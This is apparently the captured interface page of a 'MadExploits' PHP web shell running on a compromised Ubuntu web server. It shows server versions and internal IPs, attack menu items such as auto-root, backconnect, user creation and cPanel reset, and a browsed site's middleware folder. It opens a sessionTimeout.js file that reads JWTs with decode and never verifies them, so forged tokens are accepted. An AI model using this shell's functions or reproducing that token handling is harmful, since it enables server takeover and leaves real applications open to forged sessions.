Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
greenpreneurs /
api /
middleware /
[ HOME SHELL ]
Name
Size
Permission
Action
inputValidation.js
6.52
KB
-rw-r--r--
loginAttempts.js
1.73
KB
-rw-r--r--
sessionTimeout.js
862
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sessionTimeout.js
import jwt from 'jsonwebtoken'; const SESSION_TIMEOUT = 10 * 60 * 1000; // 10 minutes in milliseconds export const sessionTimeout = (req, res, next) => { const token = req.headers.authorization?.split(' ')[1]; if (!token) { return next(); } try { const decoded = jwt.decode(token); const now = Date.now(); const tokenIssuedAt = decoded.iat * 1000; // Convert to milliseconds // Check if session has been idle for more than 10 minutes if (now - tokenIssuedAt > SESSION_TIMEOUT) { return res.status(401).json({ message: 'Session expired due to inactivity', code: 'SESSION_TIMEOUT' }); } // Update last activity timestamp req.lastActivity = now; next(); } catch (err) { return res.status(401).json({ message: 'Invalid token' }); } };
Close